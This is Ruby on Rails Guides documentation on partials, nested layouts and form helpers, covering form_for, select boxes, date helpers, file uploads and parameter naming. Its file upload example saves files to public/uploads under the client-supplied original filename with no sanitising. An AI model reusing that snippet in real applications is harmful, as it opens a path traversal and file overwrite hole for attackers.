</html>

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.

3.4 Using Partials

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

3.4.1 Naming Partials

To render a partial as part of a view, you use the render method within the view:

<%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

<%= render "shared/menu" %>

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.4.2 Using Partials to Simplify Views

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

<%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
...

<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared by many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

As seen in the previous sections of this guide, yield is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use it almost everywhere. For example, we can use it to DRY up form layout definitions for several similar resources:

- users/index.html.erb

<%= render "shared/search_filters", search: @q do |f| %>
<p>
Name contains: <%= f.text_field :name_contains %>
</p>
<% end %>

- roles/index.html.erb

<%= render "shared/search_filters", search: @q do |f| %>
<p>
Title contains: <%= f.text_field :title_contains %>
</p>
<% end %>

- shared/_search_filters.html.erb

<%= form_for(@q) do |f| %>
<h1>Search form:</h1>
<fieldset>
<%= yield f %>
</fieldset>
<p>
<%= f.submit "Search" %>
</p>
<% end %>

For content that is shared among all pages in your application, you can use partials directly from layouts.

3.4.3 Partial Layouts

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

<%= render partial: "link_area", layout: "graybar" %>

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

Also note that explicitly specifying :partial is required when passing additional options such as :layout.

3.4.4 Passing Local Variables

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

- new.html.erb

<h1>New zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

- edit.html.erb

<h1>Editing zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

- _form.html.erb

<%= form_for(zone) do |f| %>
<p>
<b>Zone name</b><br>
<%= f.text_field :name %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.

To pass a local variable to a partial in only specific cases use the local_assigns.

- index.html.erb

<%= render user.articles %>

- show.html.erb

<%= render article, full: true %>

- _articles.html.erb

<h2><%= article.title %></h2>

<% if local_assigns[:full] %>
<%= simple_format article.body %>
<% else %>
<%= truncate article.body %>
<% end %>

This way it is possible to use the partial without the need to declare all local variables.

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:

<%= render partial: "customer", object: @new_customer %>

Within the customer partial, the customer variable will refer to @new_customer from the parent view.

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

<%= render @customer %>

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it and will pass the local variable customer into the partial which will refer to the @customer instance variable in the parent view.

3.4.5 Rendering Collections

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

- index.html.erb

<h1>Products</h1>
<%= render partial: "product", collection: @products %>

- _product.html.erb

<p>Product Name: <%= product.name %></p>

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the _product partial, you can refer to product to get the instance that is being rendered.

There is also a shorthand for this. Assuming @products is a collection of product instances, you can simply write this in the index.html.erb to produce the same result:

<h1>Products</h1>
<%= render @products %>

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

- index.html.erb

<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>

- customers/_customer.html.erb

<p>Customer: <%= customer.name %></p>

- employees/_employee.html.erb

<p>Employee: <%= employee.name %></p>

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

In the event that the collection is empty, render will return nil, so it should be fairly simple to provide alternative content.

<h1>Products</h1>
<%= render(@products) || "There are no products available." %>

3.4.6 Local Variables

To use a custom local variable name within the partial, specify the :as option in the call to the partial:

<%= render partial: "product", collection: @products, as: :item %>

With this change, you can access an instance of the @products collection as the item local variable within the partial.

You can also pass in arbitrary local variables to any partial you are rendering with the locals: {} option:

<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>

In this case, the partial will have access to a local variable title with the value "Products Page".

Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you're rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered. This does not work in conjunction with the as: :value option.

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

3.4.7 Spacer Templates

<%= render partial: @products, spacer_template: "product_ruler" %>

Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

3.4.8 Collection Partial Layouts

When rendering collections it is also possible to use the :layout option:

<%= render partial: "product", collection: @products, layout: "special_layout" %>

The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.

3.5 Using Nested Layouts

You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:

Suppose you have the following ApplicationController layout:

- app/views/layouts/application.html.erb

<html>
<head>
<title><%= @page_title or "Page Title" %></title>
<%= stylesheet_link_tag "layout" %>
<style><%= yield :stylesheets %></style>
</head>
<body>
<div id="top_menu">Top menu items here</div>
<div id="menu">Menu items here</div>
<div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
</body>
</html>

On pages generated by NewsController, you want to hide the top menu and add a right menu:

- app/views/layouts/news.html.erb

<% content_for :stylesheets do %>
#top_menu {display: none}
#right_menu {float: right; background-color: yellow; color: black}
<% end %>
<% content_for :content do %>
<div id="right_menu">Right menu items here</div>
<%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render template: "layouts/application" %>

That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the ActionView::render method via render template: 'layouts/news' to base a new layout on the News layout. If you are sure you will not subtemplate the News layout, you can replace the content_for?(:news_content) ? yield(:news_content) : yield with simply yield.

Form Helpers — Ruby on Rails Guides

1 Dealing with Basic Forms

The most basic form helper is form_tag.

<%= form_tag do %>
Form contents
<% end %>

When called without arguments like this, it creates a <form> tag which, when submitted, will POST to the current page. For instance, assuming the current page is /home/index, the generated HTML will look like this (some line breaks added for readability):

<form accept-charset="UTF-8" action="/" method="post">
<input name="utf8" type="hidden" value="&#x2713;" />
<input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
Form contents
</form>

You'll notice that the HTML contains an input element with type hidden. This input is important, because the form cannot be successfully submitted without it. The hidden input element with the name utf8 enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST".

The second input element with the name authenticity_token is a security feature of Rails called cross-site request forgery protection, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the Security Guide.

1.1 A Generic Search Form

One of the most basic forms you see on the web is a search form. This form contains:

- a form element with "GET" method,

- a label for the input,

- a text input element, and

- a submit element.

To create this form you will use form_tag, label_tag, text_field_tag, and submit_tag, respectively. Like this:

<%= form_tag("/search", method: "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/search" method="get">
<input name="utf8" type="hidden" value="&#x2713;" />
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
</form>

For every form input, an ID attribute is generated from its name ("q" in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.

Besides text_field_tag and submit_tag, there is a similar helper for every form control in HTML.

Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.

1.2 Multiple Hashes in Form Helper Calls

The form_tag helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.

As with the link_to helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to form_tag are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:

form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'

Here, method and class are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:

form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'

1.3 Helpers for Generating Form Elements

Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in _tag (such as text_field_tag and check_box_tag), generate just a single <input> element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the params in the controller with the value entered by the user for that field. For example, if the form contains <%= text_field_tag(:query) %>, then you would be able to get the value of this field in the controller with params[:query].

When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in params. You can read more about them in chapter 7 of this guide. For details on the precise usage of these helpers, please refer to the API documentation.

1.3.1 Checkboxes

Checkboxes are form controls that give the user a set of options they can enable or disable:

<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>

This generates the following:

<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
<label for="pet_dog">I own a dog</label>
<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
<label for="pet_cat">I own a cat</label>

The first parameter to check_box_tag, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in params) when the checkbox is checked.

1.3.2 Radio Buttons

Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):

<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>

Output:

<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>

As with check_box_tag, the second parameter to radio_button_tag is the value of the input. Because these two radio buttons share the same name (age), the user will only be able to select one of them, and params[:age] will contain either "child" or "adult".

Always use labels for checkbox and radio buttons. They associate text with a specific option and, by expanding the clickable region, make it easier for users to click the inputs.

1.4 Other Helpers of Interest

Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields, email fields, number fields and range fields:

<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
<%= password_field_tag(:password) %>
<%= hidden_field_tag(:parent_id, "5") %>
<%= search_field(:user, :name) %>
<%= telephone_field(:user, :phone) %>
<%= date_field(:user, :born_on) %>
<%= datetime_local_field(:user, :graduation_day) %>
<%= month_field(:user, :birthday_month) %>
<%= week_field(:user, :birthday_week) %>
<%= url_field(:user, :homepage) %>
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
<%= range_field(:product, :discount, in: 1..100) %>

Output:

<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
<input id="password" name="password" type="password" />
<input id="parent_id" name="parent_id" type="hidden" value="5" />
<input id="user_name" name="user[name]" type="search" />
<input id="user_phone" name="user[phone]" type="tel" />
<input id="user_born_on" name="user[born_on]" type="date" />
<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
<input id="user_birthday_month" name="user[birthday_month]" type="month" />
<input id="user_birthday_week" name="user[birthday_week]" type="week" />
<input id="user_homepage" name="user[homepage]" type="url" />
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />

Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.

The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, email, number and range inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely no shortage of solutions for this, although a popular tool at the moment is Modernizr, which provides a simple way to add functionality based on the presence of detected HTML5 features.

If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the Security Guide.

2 Dealing with Model Objects

2.1 Model Object Helpers

A particularly common task for a form is editing or creating a model object. While the *_tag helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example text_field, text_area.

For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined @person and that person's name is Henry then a form containing:

<%= text_field(:person, :name) %>

will produce output similar to

<input id="person_name" name="person[name]" type="text" value="Henry"/>

Upon form submission the value entered by the user will be stored in params[:person][:name]. The params[:person] hash is suitable for passing to Person.new or, if @person is an instance of Person, @person.update. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a name and a name= method Rails will be happy.

You must pass the name of an instance variable, i.e. :person or "person", not an actual instance of your model object.

Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the Active Record Validations guide.

2.2 Binding a Form to an Object

While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what form_for does.

Assume we have a controller for dealing with articles app/controllers/articles_controller.rb:

def new
@article = Article.new
end

The corresponding view app/views/articles/new.html.erb using form_for looks like this:

<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, size: "60x12" %>
<%= f.submit "Create" %>
<% end %>

There are a few things to note here:

- @article is the actual object being edited.

- There is a single hash of options. Routing options are passed in the :url hash, HTML options are passed in the :html hash. Also you can provide a :namespace option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

- The form_for method yields a form builder object (the f variable).

- Methods to create form controls are called on the form builder object f.

The resulting HTML is:

<form accept-charset="UTF-8" action="/articles" method="post" class="nifty_form">
<input id="article_title" name="article[title]" type="text" />
<textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
<input name="commit" type="submit" value="Create" />
</form>

The name passed to form_for controls the key used in params to access the form's values. Here the name is article and so all the inputs have names of the form article[attribute_name]. Accordingly, in the create action params[:article] will be a hash with keys :title and :body. You can read more about the significance of input names in the parameter_names section.

The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.

You can create a similar binding without actually creating <form> tags with the fields_for helper. This is useful for editing additional model objects with the same form. For example, if you had a Person model with an associated ContactDetail model, you could create a form for creating both like so:

<%= form_for @person, url: {action: "create"} do |person_form| %>
<%= person_form.text_field :name %>
<%= fields_for @person.contact_detail do |contact_detail_form| %>
<%= contact_detail_form.text_field :phone_number %>
<% end %>
<% end %>

which produces the following output:

<form accept-charset="UTF-8" action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
</form>

The object yielded by fields_for is a form builder like the one yielded by form_for (in fact form_for calls fields_for internally).

2.3 Relying on Record Identification

The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it a resource:

resources :articles

Declaring a resource has a number of side effects. See Rails Routing From the Outside In for more information on setting up and using resources.

When dealing with RESTful resources, calls to form_for can get significantly easier if you rely on record identification. In short, you can just pass the model instance and have Rails figure out model name and the rest:

## Creating a new article
# long-style:
form_for(@article, url: articles_path)
# same thing, short-style (record identification gets used):
form_for(@article)

## Editing an existing article
# long-style:
form_for(@article, url: article_path(@article), html: {method: "patch"})
# short-style:
form_for(@article)

Notice how the short-style form_for invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking record.new_record?. It also selects the correct path to submit to and the name based on the class of the object.

Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class new_article. If you were editing the article with id 23, the class would be set to edit_article and the id to edit_article_23. These attributes will be omitted for brevity in the rest of this guide.

When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, :url, and :method explicitly.

2.3.1 Dealing with Namespaces

If you have created namespaced routes, form_for has a nifty shorthand for that too. If your application has an admin namespace then

form_for [:admin, @article]

will create a form that submits to the ArticlesController inside the admin namespace (submitting to admin_article_path(@article) in the case of an update). If you have several levels of namespacing then the syntax is similar:

form_for [:admin, :management, @article]

For more information on Rails' routing system and the associated conventions, please see the routing guide.

2.4 How do forms with PATCH, PUT, or DELETE methods work?

The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers don't support methods other than "GET" and "POST" when it comes to submitting forms.

Rails works around this issue by emulating other methods over POST with a hidden input named "_method", which is set to reflect the desired method:

form_tag(search_path, method: "patch")

output:

<form accept-charset="UTF-8" action="/search" method="post">
<input name="_method" type="hidden" value="patch" />
<input name="utf8" type="hidden" value="&#x2713;" />
<input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
...
</form>

When parsing POSTed data, Rails will take into account the special _method parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example).

3 Making Select Boxes with Ease

Select boxes in HTML require a significant amount of markup (one OPTION element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.

Here is what the markup might look like:

<select name="city_id" id="city_id">
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
<option value="12">Berlin</option>
</select>

Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.

3.1 The Select and Option Tags

The most generic helper is select_tag, which - as the name implies - simply generates the SELECT tag that encapsulates an options string:

<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>

This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the options_for_select helper:

<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>

output:

<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...

The first argument to options_for_select is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.

Knowing this, you can combine select_tag and options_for_select to achieve the desired, complete markup:

<%= select_tag(:city_id, options_for_select(...)) %>

options_for_select allows you to pre-select an option by passing its value.

<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>

output:

<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
...

Whenever Rails sees that the internal value of an option being generated matches this value, it will add the selected attribute to that option.

The second argument to options_for_select must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to options_for_select - you must pass 2. Be aware of values extracted from the params hash as they are all strings.

When :include_blank or :prompt are not present, :include_blank is forced true if the select attribute required is true, display size is one and multiple is not true.

You can add arbitrary attributes to the options using hashes:

<%= options_for_select(
[
['Lisbon', 1, { 'data-size' => '2.8 million' }],
['Madrid', 2, { 'data-size' => '3.2 million' }]
], 2
) %>

output:

<option value="1" data-size="2.8 million">Lisbon</option>
<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
...

3.2 Select Boxes for Dealing with Models

In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the _tag suffix from select_tag:

# controller:
@person = Person.new(city_id: 2)

# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>

Notice that the third parameter, the options array, is the same kind of argument you pass to options_for_select. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the @person.city_id attribute.

As with other helpers, if you were to use the select helper on a form builder scoped to the @person object, the syntax would be:

# select on a form builder
<%= f.select(:city_id, ...) %>

You can also pass a block to select helper:

<%= f.select(:city_id) do %>
<% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
<%= content_tag(:option, c.first, value: c.last) %>
<% end %>
<% end %>

If you are using select (or similar helpers such as collection_select, select_tag) to set a belongs_to association you must pass the name of the foreign key (in the example above city_id), not the name of association itself. If you specify city instead of city_id Active Record will raise an error along the lines of ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) when you pass the params hash to Person.new or update. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.

3.3 Option Tags from a Collection of Arbitrary Objects

Generating options tags with options_for_select requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:

<% cities_array = City.all.map { |city| [city.name, city.id] } %>
<%= options_for_select(cities_array) %>

This is a perfectly valid solution, but Rails provides a less verbose alternative: options_from_collection_for_select. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option value and text from, respectively:

<%= options_from_collection_for_select(City.all, :id, :name) %>

As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with select_tag, just as you would with options_for_select. When working with model objects, just as select combines select_tag and options_for_select, collection_select combines select_tag with options_from_collection_for_select.

<%= collection_select(:person, :city_id, City.all, :id, :name) %>

As with other helpers, if you were to use the collection_select helper on a form builder scoped to the @person object, the syntax would be:

<%= f.collection_select(:city_id, City.all, :id, :name) %>

To recap, options_from_collection_for_select is to collection_select what options_for_select is to select.

Pairs passed to options_for_select should have the name first and the id second, however with options_from_collection_for_select the first argument is the value method and the second the text method.

3.4 Time Zone and Country Select

To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using collection_select, but you can simply use the time_zone_select helper that already wraps this:

<%= time_zone_select(:person, :time_zone) %>

There is also time_zone_options_for_select helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.

Rails used to have a country_select helper for choosing countries, but this has been extracted to the country_select plugin. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).

4 Using Date and Time Form Helpers

You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:

- Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your params hash with your date or time.

- Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, select_date, select_time and select_datetime are the barebones helpers, date_select, time_select and datetime_select are the equivalent model object helpers.

Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).

4.1 Barebones Helpers

The select_* family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:

<%= select_date Date.today, prefix: :start_date %>

outputs (with actual option values omitted for brevity)

<select id="start_date_year" name="start_date[year]"> ... </select>
<select id="start_date_month" name="start_date[month]"> ... </select>
<select id="start_date_day" name="start_date[day]"> ... </select>

The above inputs would result in params[:start_date] being a hash with keys :year, :month, :day. To get an actual Date, Time or DateTime object you would have to extract these values and pass them to the appropriate constructor, for example:

Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)

The :prefix option is the key used to retrieve the hash of date components from the params hash. Here it was set to start_date, if omitted it will default to date.

4.2 Model Object Helpers

select_date does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute. The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:

<%= date_select :person, :birth_date %>

outputs (with actual option values omitted for brevity)

<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>

which results in a params hash like

{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}

When this is passed to Person.new (or update), Active Record spots that these parameters should all be used to construct the birth_date attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as Date.civil.

4.3 Common Options

Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the :start_year and :end_year options override this. For an exhaustive list of the available options, refer to the API documentation.

As a rule of thumb you should be using date_select when working with model objects and select_date in other cases, such as a search form which filters results by date.

In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.

4.4 Individual Components

Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component select_year, select_month, select_day, select_hour, select_minute, select_second. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for select_year, "month" for select_month etc.) although this can be overridden with the :field_name option. The :prefix option works in the same way that it does for select_date and select_time and has the same default value.

The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example:

<%= select_year(2009) %>
<%= select_year(Time.now) %>

will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by params[:date][:year].

5 Uploading Files

A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding MUST be set to "multipart/form-data". If you use form_for, this is done automatically. If you use form_tag, you must set it yourself, as per the following example.

The following two forms both upload a file.

<%= form_tag({action: :upload}, multipart: true) do %>
<%= file_field_tag 'picture' %>
<% end %>

<%= form_for @person do |f| %>
<%= f.file_field :picture %>
<% end %>

Rails provides the usual pair of helpers: the barebones file_field_tag and the model oriented file_field. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in params[:picture] and in the second case in params[:person][:picture].

5.1 What Gets Uploaded

The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an original_filename attribute containing the name the file had on the user's computer and a content_type attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in #{Rails.root}/public/uploads under the same name as the original file (assuming the form was the one in the previous example).

def upload
uploaded_io = params[:person][:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
file.write(uploaded_io.read)
end
end

Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are CarrierWave and Paperclip.

If the user has not selected a file the corresponding parameter will be an empty string.

5.2 Dealing with Ajax

Unlike other forms, making an asynchronous file upload form is not as simple as providing form_for with remote: true. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.

6 Customizing Form Builders

As mentioned previously the object yielded by form_for and fields_for is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example:

<%= form_for @person do |f| %>
<%= text_field_with_label f, :first_name %>
<% end %>

can be replaced with

<%= form_for @person, builder: LabellingFormBuilder do |f| %>
<%= f.text_field :first_name %>
<% end %>

by defining a LabellingFormBuilder class similar to the following:

class LabellingFormBuilder < ActionView::Helpers::FormBuilder
def text_field(attribute, options={})
label(attribute) + super
end
end

If you reuse this frequently you could define a labeled_form_for helper that automatically applies the builder: LabellingFormBuilder option:

def labeled_form_for(record, options = {}, &block)
options.merge! builder: LabellingFormBuilder
form_for record, options, &block
end

The form builder used also determines what happens when you do

<%= render partial: f %>

If f is an instance of FormBuilder then this will render the form partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the labelling_form partial would be rendered instead.

7 Understanding Parameter Naming Conventions

As you've seen in the previous sections, values from forms can be at the top level of the params hash or nested in another hash. For example, in a standard create action for a Person model, params[:person] would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.

Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.

7.1 Basic Structures

The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in params. For example, if a form contains:

<input id="person_name" name="person[name]" type="text" value="Henry"/>

the params hash will contain

{'person' => {'name' => 'Henry'}}

and params[:person][:name] will retrieve the submitted value in the controller.

